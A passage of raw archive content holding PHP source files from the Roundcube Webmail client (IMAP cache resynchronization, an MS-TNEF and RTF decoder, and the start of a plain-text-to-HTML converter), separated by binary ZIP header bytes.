        // RFC4549: Synchronization Operations for Disconnected IMAP4 Clients
        // RFC4551: IMAP Extension for Conditional STORE Operation
        //          or Quick Flag Changes Resynchronization
        // RFC5162: IMAP Extensions for Quick Mailbox Resynchronization

        // @TODO: synchronize with other methods?
        $qresync   = $this->imap->get_capability('QRESYNC');
        $condstore = $qresync ? true : $this->imap->get_capability('CONDSTORE');

        if (!$qresync && !$condstore) {
            return;
        }

        // Get stored index
        $index = $this->get_index_row($mailbox);

        // database is empty
        if (empty($index)) {
            // set the flag that DB was already queried for index
            // this way we'll be able to skip one SELECT in get_index()
            $this->icache[$mailbox]['index_queried'] = true;
            return;
        }

        $this->icache[$mailbox]['index'] = $index;

        // no last HIGHESTMODSEQ value
        if (empty($index['modseq'])) {
            return;
        }

        if (!$this->imap->check_connection()) {
            return;
        }

        // Enable QRESYNC
        $res = $this->imap->conn->enable($qresync ? 'QRESYNC' : 'CONDSTORE');
        if ($res === false) {
            return;
        }

        // Close mailbox if already selected to get most recent data
        if ($this->imap->conn->selected == $mailbox) {
            $this->imap->conn->close();
        }

        // Get mailbox data (UIDVALIDITY, HIGHESTMODSEQ, counters, etc.)
        $mbox_data = $this->imap->folder_data($mailbox);

        if (empty($mbox_data)) {
             return;
        }

        // Check UIDVALIDITY
        if ($index['validity'] != $mbox_data['UIDVALIDITY']) {
            $this->clear($mailbox);
            return;
        }

        // QRESYNC not supported on specified mailbox
        if (!empty($mbox_data['NOMODSEQ']) || empty($mbox_data['HIGHESTMODSEQ'])) {
            return;
        }

        // Nothing new
        if ($mbox_data['HIGHESTMODSEQ'] == $index['modseq']) {
            return;
        }

        $uids    = [];
        $removed = [];

        // Get known UIDs
        if ($this->mode & self::MODE_MESSAGE) {
            $sql_result = $this->db->query(
                "SELECT `uid`"
                ." FROM {$this->messages_table}"
                ." WHERE `user_id` = ?"
                    ." AND `mailbox` = ?",
                $this->userid, $mailbox
            );

            while ($sql_arr = $this->db->fetch_assoc($sql_result)) {
                $uids[] = $sql_arr['uid'];
            }
        }

        // Synchronize messages data
        if (!empty($uids)) {
            // Get modified flags and vanished messages
            // UID FETCH 1:* (FLAGS) (CHANGEDSINCE 0123456789 VANISHED)
            $result = $this->imap->conn->fetch($mailbox, $uids, true, ['FLAGS'], $index['modseq'], $qresync);

            if (!empty($result)) {
                foreach ($result as $msg) {
                    $uid = $msg->uid;
                    // Remove deleted message
                    if ($this->skip_deleted && !empty($msg->flags['DELETED'])) {
                        $removed[] = $uid;
                        // Invalidate index
                        $index['valid'] = false;
                        continue;
                    }

                    $flags = 0;
                    if (!empty($msg->flags)) {
                        foreach ($this->flags as $idx => $flag) {
                            if (!empty($msg->flags[$flag])) {
                                $flags += $idx;
                            }
                        }
                    }

                    $this->db->query(
                        "UPDATE {$this->messages_table}"
                        ." SET `flags` = ?, `expires` = " . ($this->ttl ? $this->db->now($this->ttl) : 'NULL')
                        ." WHERE `user_id` = ?"
                            ." AND `mailbox` = ?"
                            ." AND `uid` = ?"
                            ." AND `flags` <> ?",
                        $flags, $this->userid, $mailbox, $uid, $flags
                    );
                }
            }

            // VANISHED found?
            if ($qresync) {
                $mbox_data = $this->imap->folder_data($mailbox);

                // Removed messages found
                $uids = isset($mbox_data['VANISHED']) ? rcube_imap_generic::uncompressMessageSet($mbox_data['VANISHED']) : null;
                if (!empty($uids)) {
                    $removed = array_merge($removed, $uids);
                    // Invalidate index
                    $index['valid'] = false;
                }
            }

            // remove messages from database
            if (!empty($removed)) {
                $this->remove_message($mailbox, $removed);
            }
        }

        $sort_field = $index['sort_field'];
        $sort_order = $index['object']->get_parameters('ORDER');
        $exists     = true;

        // Validate index
        if (!$this->validate($mailbox, $index, $exists)) {
            // Invalidate (remove) thread index
            // if $exists=false it was already removed in validate()
            if ($exists) {
                $this->remove_thread($mailbox);
            }

            // Update index
            $data = $this->get_index_data($mailbox, $sort_field, $sort_order, $mbox_data);
        }
        else {
            $data = $index['object'];
        }

        // update index and/or HIGHESTMODSEQ value
        $this->add_index_row($mailbox, $sort_field, $data, $mbox_data, $exists);

        // update internal cache for get_index()
        $this->icache[$mailbox]['index']['object'] = $data;
    }

    /**
     * Converts cache row into message object.
     *
     * @param array $sql_arr Message row data
     *
     * @return rcube_message_header Message object
     */
    private function build_message($sql_arr)
    {
        $message = $this->db->decode($sql_arr['data'], true);

        if ($message) {
            $message->flags = [];
            foreach ($this->flags as $idx => $flag) {
                if (($sql_arr['flags'] & $idx) == $idx) {
                    $message->flags[$flag] = true;
                }
           }
        }

        return $message;
    }

    /**
     * Saves message stored in internal cache
     */
    private function save_icache()
    {
        // Save current message from internal cache
        if (!empty($this->icache['__message'])) {
            $message = $this->icache['__message'];

            // clean up some object's data
            $this->message_object_prepare($message['object']);

            // calculate current md5 sum
            $md5sum = md5(serialize($message['object']));

            if ($message['md5sum'] != $md5sum) {
                $this->add_message($message['mailbox'], $message['object'], !$message['exists']);
            }

            $this->icache['__message']['md5sum'] = $md5sum;
        }
    }

    /**
     * Prepares message object to be stored in database.
     *
     * @param rcube_message_header|rcube_message_part $msg
     */
    private function message_object_prepare(&$msg, &$size = 0)
    {
        // Remove body too big
        if (isset($msg->body)) {
            $length = strlen($msg->body);

            if (!empty($msg->body_modified) || $size + $length > $this->threshold * 1024) {
                unset($msg->body);
            }
            else {
                $size += $length;
            }
        }

        // Fix mimetype which might be broken by some code when message is displayed
        // Another solution would be to use object's copy in rcube_message class
        // to prevent related issues, however I'm not sure which is better
        if (!empty($msg->mimetype)) {
            list($msg->ctype_primary, $msg->ctype_secondary) = explode('/', $msg->mimetype);
        }

        unset($msg->replaces);

        if (!empty($msg->structure) && is_object($msg->structure)) {
            $this->message_object_prepare($msg->structure, $size);
        }

        if (!empty($msg->parts) && is_array($msg->parts)) {
            foreach ($msg->parts as $part) {
                $this->message_object_prepare($part, $size);
            }
        }
    }

    /**
     * Fetches index data from IMAP server
     */
    private function get_index_data($mailbox, $sort_field, $sort_order, $mbox_data = [])
    {
        if (empty($mbox_data)) {
            $mbox_data = $this->imap->folder_data($mailbox);
        }

        if (!empty($mbox_data['EXISTS'])) {
            // fetch sorted sequence numbers
            $index = $this->imap->index_direct($mailbox, $sort_field, $sort_order);
        }
        else {
            $index = new rcube_result_index($mailbox, '* SORT');
        }

        return $index;
    }

    /**
     * Fetches thread data from IMAP server
     */
    private function get_thread_data($mailbox, $mbox_data = [])
    {
        if (empty($mbox_data)) {
            $mbox_data = $this->imap->folder_data($mailbox);
        }

        if (!empty($mbox_data['EXISTS'])) {
            // get all threads (default sort order)
            return $this->imap->threads_direct($mailbox);
        }

        return new rcube_result_thread($mailbox, '* THREAD');
    }
}
PK
h�\�2��mmmm,program/lib/Roundcube/rcube_tnef_decoder.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) 2002-2010, The Horde Project (http://www.horde.org/)    |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   MS-TNEF format decoder                                              |
 +-----------------------------------------------------------------------+
 | Author: Jan Schneider <jan@horde.org>                                 |
 | Author: Michael Slusarz <slusarz@horde.org>                           |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * MS-TNEF format decoder based on code by:
 *   Graham Norbury <gnorbury@bondcar.com>
 * Original design by:
 *   Thomas Boll <tb@boll.ch>, Mark Simpson <damned@world.std.com>
 *
 * @package    Framework
 * @subpackage Storage
 */
class rcube_tnef_decoder
{
    const SIGNATURE         = 0x223e9f78;
    const LVL_MESSAGE       = 0x01;
    const LVL_ATTACHMENT    = 0x02;

    const AFROM             = 0x08000;
    const ASUBJECT          = 0x18004;
    const AMESSAGEID        = 0x18009;
    const AFILENAME         = 0x18010;
    const APARENTID         = 0x1800a;
    const ACONVERSATIONID   = 0x1800b;
    const ABODY             = 0x2800c;
    const ADATESENT         = 0x38005;
    const ADATERECEIVED     = 0x38006;
    const ADATEMODIFIED     = 0x38020;
    const APRIORITY         = 0x4800d;
    const AOWNER            = 0x60000;
    const ASENTFOR          = 0x60001;
    const ASTATUS           = 0x68007;
    const ATTACHDATA        = 0x6800f;
    const ATTACHMETAFILE    = 0x68011;
    const ATTACHCREATEDATE  = 0x38012;
    const ARENDDATA         = 0x69002;
    const AMAPIPROPS        = 0x69003;
    const ARECIPIENTTABLE   = 0x69004;
    const AMAPIATTRS        = 0x69005;
    const AOEMCODEPAGE      = 0x69007;
    const AORIGINALMCLASS   = 0x70006;
    const AMCLASS           = 0x78008;
    const AVERSION          = 0x89006;

    const MAPI_TYPE_UNSET     = 0x0000;
    const MAPI_NULL           = 0x0001;
    const MAPI_SHORT          = 0x0002;
    const MAPI_INT            = 0x0003;
    const MAPI_FLOAT          = 0x0004;
    const MAPI_DOUBLE         = 0x0005;
    const MAPI_CURRENCY       = 0x0006;
    const MAPI_APPTIME        = 0x0007;
    const MAPI_ERROR          = 0x000a;
    const MAPI_BOOLEAN        = 0x000b;
    const MAPI_OBJECT         = 0x000d;
    const MAPI_INT8BYTE       = 0x0014;
    const MAPI_STRING         = 0x001e;
    const MAPI_UNICODE_STRING = 0x001f;
    const MAPI_SYSTIME        = 0x0040;
    const MAPI_CLSID          = 0x0048;
    const MAPI_BINARY         = 0x0102;

    const MAPI_BODY                     = 0x1000;
    const MAPI_RTF_COMPRESSED           = 0x1009;
    const MAPI_BODY_HTML                = 0x1013;
    const MAPI_NATIVE_BODY              = 0x1016;

    const MAPI_DISPLAY_NAME             = 0x3001;
    const MAPI_ADDRTYPE                 = 0x3002;
    const MAPI_EMAIL_ADDRESS            = 0x3003;
    const MAPI_COMMENT                  = 0x3004;
    const MAPI_DEPTH                    = 0x3005;
    const MAPI_PROVIDER_DISPLAY         = 0x3006;
    const MAPI_CREATION_TIME            = 0x3007;
    const MAPI_LAST_MODIFICATION_TIME   = 0x3008;
    const MAPI_RESOURCE_FLAGS           = 0x3009;
    const MAPI_PROVIDER_DLL_NAME        = 0x300A;
    const MAPI_SEARCH_KEY               = 0x300B;
    const MAPI_ATTACHMENT_X400_PARAMETERS = 0x3700;
    const MAPI_ATTACH_DATA              = 0x3701;
    const MAPI_ATTACH_ENCODING          = 0x3702;
    const MAPI_ATTACH_EXTENSION         = 0x3703;
    const MAPI_ATTACH_FILENAME          = 0x3704;
    const MAPI_ATTACH_METHOD            = 0x3705;
    const MAPI_ATTACH_LONG_FILENAME     = 0x3707;
    const MAPI_ATTACH_PATHNAME          = 0x3708;
    const MAPI_ATTACH_RENDERING         = 0x3709;
    const MAPI_ATTACH_TAG               = 0x370A;
    const MAPI_RENDERING_POSITION       = 0x370B;
    const MAPI_ATTACH_TRANSPORT_NAME    = 0x370C;
    const MAPI_ATTACH_LONG_PATHNAME     = 0x370D;
    const MAPI_ATTACH_MIME_TAG          = 0x370E;
    const MAPI_ATTACH_ADDITIONAL_INFO   = 0x370F;
    const MAPI_ATTACH_MIME_SEQUENCE     = 0x3710;
    const MAPI_ATTACH_CONTENT_ID        = 0x3712;
    const MAPI_ATTACH_CONTENT_LOCATION  = 0x3713;
    const MAPI_ATTACH_FLAGS             = 0x3714;

    const MAPI_NAMED_TYPE_ID        = 0x0000;
    const MAPI_NAMED_TYPE_STRING    = 0x0001;
    const MAPI_NAMED_TYPE_NONE      = 0xff;
    const MAPI_MV_FLAG              = 0x1000;

    const RTF_UNCOMPRESSED = 0x414c454d;
    const RTF_COMPRESSED   = 0x75465a4c;

    protected $codepage;


    /**
     * Decompress the data.
     *
     * @param string $data    The data to decompress.
     * @param bool   $as_html Return message body as HTML
     *
     * @return array The decompressed data.
     */
    public function decompress($data, $as_html = false)
    {
        $attachments = [];
        $message     = [];

        if ($this->_geti($data, 32) == self::SIGNATURE) {
            $this->_geti($data, 16);

            // Version
            $this->_geti($data, 8);     // lvl_message
            $this->_geti($data, 32);    // idTnefVersion
            $this->_getx($data, $this->_geti($data, 32));
            $this->_geti($data, 16);    // checksum

            while (strlen($data) > 0) {
                switch ($this->_geti($data, 8)) {
                case self::LVL_MESSAGE:
                    $this->_decodeMessage($data, $message);
                    break;

                case self::LVL_ATTACHMENT:
                    $this->_decodeAttachment($data, $attachments);
                    break;
                }
            }
        }

        // Return the message body as HTML
        if ($message && $as_html) {
            // HTML body
            if (!empty($message['size']) && $message['subtype'] == 'html') {
                $message = $message['stream'];
            }
            // RTF body (converted to HTML)
            // Note: RTF can contain encapsulated HTML content
            else if (!empty($message['size']) && $message['subtype'] == 'rtf'
                && function_exists('iconv')
                && class_exists('RtfHtmlPhp\Document')
            ) {
                try {
                    $document  = new RtfHtmlPhp\Document($message['stream']);
                    $formatter = new RtfHtmlPhp\Html\HtmlFormatter(RCUBE_CHARSET);
                    $message   = $formatter->format($document);
                }
                catch (Exception $e) {
                    // ignore the body
                    rcube::raise_error([
                            'file' => __FILE__,
                            'line' => __LINE__,
                            'message' => "Failed to extract RTF/HTML content from TNEF attachment"
                        ], true, false
                    );
                }
            }
            else {
                $message = null;
            }
        }

        return [
            'message'     => $message,
            'attachments' => array_reverse($attachments),
        ];
    }

    /**
     * Pop specified number of bytes from the buffer.
     *
     * @param string &$data The data string.
     * @param int    $bytes How many bytes to retrieve.
     *
     * @return string Extracted data
     */
    protected function _getx(&$data, $bytes)
    {
        $value = null;

        if (strlen($data) >= $bytes) {
            $value = substr($data, 0, $bytes);
            $data  = substr($data, $bytes);
        }

        return $value;
    }

    /**
     * Pop specified number of bits from the buffer
     *
     * @param string &$data The data string.
     * @param int    $bits  How many bits to retrieve.
     *
     * @return int|null
     */
    protected function _geti(&$data, $bits)
    {
        $bytes = $bits / 8;
        $value = null;

        if (strlen($data) >= $bytes) {
            $value = ord($data[0]);
            if ($bytes >= 2) {
                $value += (ord($data[1]) << 8);
            }
            if ($bytes >= 4) {
                $value += (ord($data[2]) << 16) + (ord($data[3]) << 24);
            }

            $data = substr($data, $bytes);
        }

        return $value;
    }

    /**
     * Decode a single attribute
     *
     * @param string &$data The data string.
     *
     * @return string Extracted data
     */
    protected function _decodeAttribute(&$data)
    {
        // Data.
        $value = $this->_getx($data, $this->_geti($data, 32));

        // Checksum.
        $this->_geti($data, 16);

        return $value;
    }

    /**
     * TODO
     *
     * @param string $data    The data string.
     * @param array  &$result TODO
     */
    protected function _extractMapiAttributes($data, &$result)
    {
        // Number of attributes.
        $number = $this->_geti($data, 32);

        while ((strlen($data) > 0) && $number--) {
            $have_mval = false;
            $num_mval  = 1;
            $value     = null;
            $attr_type = $this->_geti($data, 16);
            $attr_name = $this->_geti($data, 16);

            if (($attr_type & self::MAPI_MV_FLAG) != 0) {
                $have_mval = true;
                $attr_type = $attr_type & ~self::MAPI_MV_FLAG;
            }

            if (($attr_name >= 0x8000) && ($attr_name < 0xFFFE)) {
                $this->_getx($data, 16);
                $named_type = $this->_geti($data, 32);

                switch ($named_type) {
                case self::MAPI_NAMED_TYPE_ID:
                    $attr_name = $this->_geti($data, 32);
                    break;

                case self::MAPI_NAMED_TYPE_STRING:
                    $attr_name = 0x9999;
                    $idlen     = $this->_geti($data, 32);
                    $name      = $this->_getx($data, $idlen + ((4 - ($idlen % 4)) % 4));
                    // $name      = $this->convertString(substr($name, 0, $idlen));
                    break;

                case self::MAPI_NAMED_TYPE_NONE:
                default:
                    continue 2;
                }
            }

            if ($have_mval) {
                $num_mval = $this->_geti($data, 32);
            }

            switch ($attr_type) {
            case self::MAPI_NULL:
            case self::MAPI_TYPE_UNSET:
                break;

            case self::MAPI_SHORT:
                $value = $this->_geti($data, 16);
                $this->_geti($data, 16);
                break;

            case self::MAPI_INT:
            case self::MAPI_BOOLEAN:
                for ($i = 0; $i < $num_mval; $i++) {
                    $value = $this->_geti($data, 32);
                }
                break;

            case self::MAPI_FLOAT:
            case self::MAPI_ERROR:
                $value = $this->_getx($data, 4);
                break;

            case self::MAPI_DOUBLE:
            case self::MAPI_APPTIME:
            case self::MAPI_CURRENCY:
            case self::MAPI_INT8BYTE:
            case self::MAPI_SYSTIME:
                $value = $this->_getx($data, 8);
                break;

            case self::MAPI_STRING:
            case self::MAPI_UNICODE_STRING:
            case self::MAPI_BINARY:
            case self::MAPI_OBJECT:
                $num_vals = $have_mval ? $num_mval : $this->_geti($data, 32);
                for ($i = 0; $i < $num_vals; $i++) {
                    $length = $this->_geti($data, 32);

                    // Pad to next 4 byte boundary.
                    $datalen = $length + ((4 - ($length % 4)) % 4);

                    // Read and truncate to length.
                    $value = $this->_getx($data, $datalen);
                }

                if ($attr_type == self::MAPI_UNICODE_STRING) {
                    $value = $this->convertString($value);
                }

                break;
            }

            // Store any interesting attributes.
            switch ($attr_name) {
            case self::MAPI_RTF_COMPRESSED:
                $result['type']    = 'application';
                $result['subtype'] = 'rtf';
                $result['name']    = (!empty($result['name']) ? $result['name'] : 'Untitled') . '.rtf';
                $result['stream']  = $this->_decodeRTF($value);
                $result['size']    = strlen($result['stream']);
                break;

            case self::MAPI_BODY:
            case self::MAPI_BODY_HTML:
                $result['type']    = 'text';
                $result['subtype'] = $attr_name == self::MAPI_BODY ? 'plain' : 'html';
                $result['name']    = (!empty($result['name']) ? $result['name'] : 'Untitled')
                    . ($attr_name == self::MAPI_BODY ? '.txt' : '.html');
                $result['stream']  = $value;
                $result['size']    = strlen($value);
                break;

            case self::MAPI_ATTACH_LONG_FILENAME:
                // Used in preference to AFILENAME value.
                $result['name'] = trim(preg_replace('/.*[\/](.*)$/', '\1', $value));
                break;

            case self::MAPI_ATTACH_MIME_TAG:
                // Is this ever set, and what is format?
                $value = explode('/', trim($value));
                $result['type']    = $value[0];
                $result['subtype'] = $value[1];
                break;

            case self::MAPI_ATTACH_CONTENT_ID:
                $result['content-id'] = $value;
                break;

            case self::MAPI_ATTACH_DATA:
                $this->_getx($value, 16);
                $att = new rcube_tnef_decoder;
                $res = $att->decompress($value);
                $result = array_merge($result, $res['message']);
                break;
            }
        }
    }

    /**
     * Decodes TNEF message attributes
     *
     * @param string &$data    The data string.
     * @param array  &$message Message data
     */
    protected function _decodeMessage(&$data, &$message)
    {
        $attribute = $this->_geti($data, 32);
        $value     = $this->_decodeAttribute($data);

        switch ($attribute) {
        case self::AOEMCODEPAGE:
            // Find codepage of the message
            $value = unpack('V', $value);
            $this->codepage = $value[1];
            break;

        case self::AMCLASS:
            $value = trim(str_replace('Microsoft Mail v3.0 ', '', $value));
            // Normal message will be that with prefix 'IPM.Microsoft Mail.
            break;

        case self::ASUBJECT:
            $message['name'] = $value;
            break;

        case self::AMAPIPROPS:
            $this->_extractMapiAttributes($value, $message);
            break;
        }
    }

    /**
     * Decodes TNEF attachment attributes
     *
     * @param string &$data       The data string.
     * @param array  &$attachment Attachments data
     */
    protected function _decodeAttachment(&$data, &$attachment)
    {
        $attribute = $this->_geti($data, 32);
        $size      = $this->_geti($data, 32);
        $value     = $this->_getx($data, $size);

        $this->_geti($data, 16); // checksum

        switch ($attribute) {
        case self::ARENDDATA:
            // Add a new default data block to hold details of this
            // attachment. Reverse order is easier to handle later!
            array_unshift($attachment, [
                    'type'    => 'application',
                    'subtype' => 'octet-stream',
                    'name'    => 'unknown',
                    'stream'  => ''
            ]);

            break;

        case self::AFILENAME:
            $value = $this->convertString($value, true);
            // Strip path
            $attachment[0]['name'] = trim(preg_replace('/.*[\/](.*)$/', '\1', $value));
            break;

        case self::ATTACHDATA:
            // The attachment itself
            $attachment[0]['size']   = $size;
            $attachment[0]['stream'] = $value;
            break;

        case self::AMAPIATTRS:
            $this->_extractMapiAttributes($value, $attachment[0]);
            break;
        }
    }

    /**
     * Convert string value to system charset according to defined codepage
     */
    protected function convertString($str, $use_codepage = false)
    {
        if ($use_codepage && $this->codepage
            && ($charset = rcube_charset::$windows_codepages[$this->codepage])
        ) {
            $str = rcube_charset::convert($str, $charset, RCUBE_CHARSET);
        }
        else if (($pos = strpos($str, "\0")) !== false && $pos != strlen($str)-1) {
            $str = rcube_charset::convert($str, 'UTF-16LE', RCUBE_CHARSET);
        }

        return trim($str);
    }

    /**
     * Decodes TNEF RTF
     */
    protected function _decodeRTF($data)
    {
        $c_size = $this->_geti($data, 32);
        $size   = $this->_geti($data, 32);
        $magic  = $this->_geti($data, 32);
        $crc    = $this->_geti($data, 32);

        if ($magic == self::RTF_COMPRESSED) {
            $data = $this->_decompressRTF($data, $size);
        }

        return $data;
    }

    /**
     * Decompress compressed RTF. Logic taken from Horde.
     */
    protected function _decompressRTF($data, $size)
    {
        $in = $out = $flags = $flag_count = 0;
        $uncomp    = '';
        $preload   = "{\\rtf1\\ansi\\mac\\deff0\\deftab720{\\fonttbl;}{\\f0\\fnil \\froman \\fswiss \\fmodern \\fscript \\fdecor MS Sans SerifSymbolArialTimes New RomanCourier{\\colortbl\\red0\\green0\\blue0\n\r\\par \\pard\\plain\\f0\\fs20\\b\\i\\u\\tab\\tx";
        $length_preload = strlen($preload);

        for ($cnt = 0; $cnt < $length_preload; $cnt++) {
            $uncomp .= $preload[$cnt];
            ++$out;
        }

        while ($out < ($size + $length_preload)) {
            if (($flag_count++ % 8) == 0) {
                $flags = ord($data[$in++]);
            }
            else {
                $flags = $flags >> 1;
            }

            if (($flags & 1) != 0) {
                $offset = ord($data[$in++]);
                $length = ord($data[$in++]);
                $offset = ($offset << 4) | ($length >> 4);
                $length = ($length & 0xF) + 2;
                $offset = ((int)($out / 4096)) * 4096 + $offset;

                if ($offset >= $out) {
                    $offset -= 4096;
                }

                $end = $offset + $length;

                while ($offset < $end) {
                    $uncomp.= $uncomp[$offset++];
                    ++$out;
                }
            }
            else {
                $uncomp .= $data[$in++];
                ++$out;
            }
        }

        return substr($uncomp, $length_preload);
    }

    /**
     * Parse RTF data and return the best plaintext representation we can.
     * Adapted from: http://webcheatsheet.com/php/reading_the_clean_text_from_rtf.php
     *
     * @param string $text The RTF (uncompressed) text.
     *
     * @return string The plain text.
     */
    public static function rtf2text($text)
    {
        $document = '';
        $stack    = [];
        $j        = -1;

        // Read the data character-by- character…
        for ($i = 0, $len = strlen($text); $i < $len; $i++) {
            $c = $text[$i];
            switch ($c) {
            case "\\":
                // Key Word
                $nextChar = $text[$i + 1];
                // If it is another backslash or nonbreaking space or hyphen,
                // then the character is plain text and add it to the output stream.
                if ($nextChar == "\\" && self::_rtfIsPlain($stack[$j])) {
                    $document .= "\\";
                }
                elseif ($nextChar == '~' && self::_rtfIsPlain($stack[$j])) {
                    $document .= ' ';
                }
                elseif ($nextChar == '_' && self::_rtfIsPlain($stack[$j])) {
                    $document .= '-';
                }
                elseif ($nextChar == '*') {
                    // Add to the stack.
                    $stack[$j]['*'] = true;
                }
                elseif ($nextChar == "'") {
                    // If it is a single quote, read next two characters that
                    // are the hexadecimal notation of a character we should add
                    // to the output stream.
                    $hex = substr($text, $i + 2, 2);

                    if (self::_rtfIsPlain($stack[$j])) {
                        $document .= html_entity_decode('&#' . hexdec($hex) .';');
                    }

                    //Shift the pointer.
                    $i += 2;
                }
                elseif ($nextChar >= 'a' && $nextChar <= 'z' || $nextChar >= 'A' && $nextChar <= 'Z') {
                    // Since, we’ve found the alphabetic character, the next
                    // characters are control words and, possibly, some digit
                    // parameter.
                    $word  = '';
                    $param = null;

                    // Start reading characters after the backslash.
                    for ($k = $i + 1, $m = 0; $k < strlen($text); $k++, $m++) {
                        $nextChar = $text[$k];
                        // If the current character is a letter and there were
                        // no digits before it, then we’re still reading the
                        // control word. If there were digits, we should stop
                        // since we reach the end of the control word.
                        if ($nextChar >= 'a' && $nextChar <= 'z'
                            || $nextChar >= 'A' && $nextChar <= 'Z') {
                            if (!empty($param)) {
                                break;
                            }
                            $word .= $nextChar;
                        }
                        elseif ($nextChar >= '0' && $nextChar <= '9') {
                            // If it is a digit, store the parameter.
                            $param .= $nextChar;
                        }
                        elseif ($nextChar == '-') {
                            // Since minus sign may occur only before a digit
                            // parameter, check whether $param is empty.
                            // Otherwise, we reach the end of the control word.
                            if (!empty($param)) {
                                break;
                            }
                            $param .= $nextChar;
                        }
                        else {
                            break;
                        }
                    }

                    // Shift the pointer on the number of read characters.
                    $i += $m - 1;

                    // Start analyzing.We are interested mostly in control words
                    $toText = '';

                    switch (strtolower($word)) {
                    // If the control word is "u", then its parameter is
                    // the decimal notation of the Unicode character that
                    // should be added to the output stream. We need to
                    // check whether the stack contains \ucN control word.
                    // If it does, we should remove the N characters from
                    // the output stream.
                    case 'u':
                        $toText .= html_entity_decode('&#x' . dechex($param) .';');
                        $ucDelta = @$stack[$j]['uc'];
                        if ($ucDelta > 0) {
                            $i += $ucDelta;
                        }
                        break;
                    case 'par':
                    case 'page':
                    case 'column':
                    case 'line':
                    case 'lbr':
                        $toText .= "\n";
                        break;
                    case 'emspace':
                    case 'enspace':
                    case 'qmspace':
                        $toText .= ' ';
                        break;
                    case 'tab':
                        $toText .= "\t";
                        break;
                    case 'chdate':
                        $toText .= date('m.d.Y');
                        break;
                    case 'chdpl':
                        $toText .= date('l, j F Y');
                        break;
                    case 'chdpa':
                        $toText .= date('D, j M Y');
                        break;
                    case 'chtime':
                        $toText .= date('H:i:s');
                        break;
                    case 'emdash':
                        $toText .= html_entity_decode('&mdash;');
                        break;
                    case 'endash':
                        $toText .= html_entity_decode('&ndash;');
                        break;
                    case 'bullet':
                        $toText .= html_entity_decode('&#149;');
                        break;
                    case 'lquote':
                        $toText .= html_entity_decode('&lsquo;');
                        break;
                    case 'rquote':
                        $toText .= html_entity_decode('&rsquo;');
                        break;
                    case 'ldblquote':
                        $toText .= html_entity_decode('&laquo;');
                        break;
                    case 'rdblquote':
                        $toText .= html_entity_decode('&raquo;');
                        break;
                    default:
                        $stack[$j][strtolower($word)] = empty($param) ? true : $param;
                        break;
                    }

                    // Add data to the output stream if required.
                    if (self::_rtfIsPlain($stack[$j])) {
                        $document .= $toText;
                    }
                }

                $i++;
                break;

            case '{':
                // New subgroup starts, add new stack element and write the data
                // from previous stack element to it.
                if (!empty($stack[$j])) {
                    array_push($stack, $stack[$j++]);
                }
                else {
                    $j++;
                }
                break;

            case '}':
                array_pop($stack);
                $j--;
                break;

            case '\0':
            case '\r':
            case '\f':
            case '\n':
                // Junk
                break;

            default:
                // Add other data to the output stream if required.
                if (!empty($stack[$j]) && self::_rtfIsPlain($stack[$j])) {
                    $document .= $c;
                }
                break;
            }
        }

        return $document;
    }

    /**
     * Checks if an RTF element is plain text
     */
    protected static function _rtfIsPlain($s)
    {
        $notPlain = ['*', 'fonttbl', 'colortbl', 'datastore', 'themedata', 'stylesheet'];

        for ($i = 0; $i < count($notPlain); $i++) {
            if (!empty($s[$notPlain[$i]])) {
                return false;
            }
        }

        return true;
    }
}
PK
h�\l�u؉+�+)program/lib/Roundcube/rcube_text2html.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Converts plain text to HTML                                         |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
 */

/**
 * Converts plain text to HTML
 *
 * @package    Framework
 * @subpackage Utils
 */
class rcube_text2html
{
    /** @var string Contains the HTML content after conversion */
    protected $html;

    /** @var string Contains the plain text */
    protected $text;

    /** @var array Configuration */
    protected $config = [
        // non-breaking space
        'space' => "\xC2\xA0",
        // enables format=flowed parser
        'flowed' => false,
        // enables delsp=yes parser
        'delsp' => false,
        // enables wrapping for non-flowed text
        'wrap' => true,
        // line-break tag
        'break' => "<br>\n",
        // prefix and suffix (wrapper element)
        'begin' => '<div class="pre">',
        'end'   => '</div>',
        // enables links replacement
        'links' => true,
        // string replacer class
        'replacer' => 'rcube_string_replacer',
        // prefix and suffix of unwrappable line
        'nobr_start' => '<span style="white-space:nowrap">',
        'nobr_end'   => '</span>',
    ];

    /** @var bool Internal state */
    protected $converted = false;

    /** @var bool Internal no-wrap mode state */
    protected $nowrap = false;


    /**
     * Constructor.
     *
     * If the plain text source string (or file) is supplied, the class
     * will instantiate with that source propagated, all that has
     * to be done it to call get_html().
     *
     * @param string $source    Plain text
     * @param bool   $from_file Indicates $source is a file to pull content from
     * @param array  $config    Class configuration
     */
    function __construct($source = '', $from_file = false, $config = [])
    {
        if (!empty($source)) {
            $this->set_text($source, $from_file);
        }

        if (!empty($config) && is_array($config)) {
            $this->config = array_merge($this->config, $config);
        }
    }

    /**
     * Loads source text into memory, either from $source string or a file.
     *
     * @param string $source    Plain text
     * @param bool   $from_file Indicates $source is a file to pull content from
     */
    function set_text($source, $from_file = false)
    {
        if ($from_file && file_exists($source)) {
            $this->text = file_get_contents($source);
        }
        else {
            $this->text = $source;
        }

        $this->converted = false;
    }

    /**
     * Returns the HTML content.
     *
     * @return string HTML content
     */
    function get_html()
    {
        if (!$this->converted) {
            $this->convert();
        }

        return $this->html;
    }

    /**
     * Prints the HTML.
     */
    function print_html()
    {
        print $this->get_html();
    }

    /**
     * Workhorse function that does actual conversion (calls converter() method).
     */
    protected function convert()
    {
        // Convert TXT to HTML
        $this->html      = $this->converter($this->text);
        $this->converted = true;
    }

    /**
     * Workhorse function that does actual conversion.
     *
     * @param string $text Plain text
     *
     * @return string HTML content
     */
    protected function converter($text)
    {
        // make links and email-addresses clickable
        $attribs  = ['link_attribs' => ['rel' => 'noreferrer', 'target' => '_blank']];
        $replacer = new $this->config['replacer']($attribs);

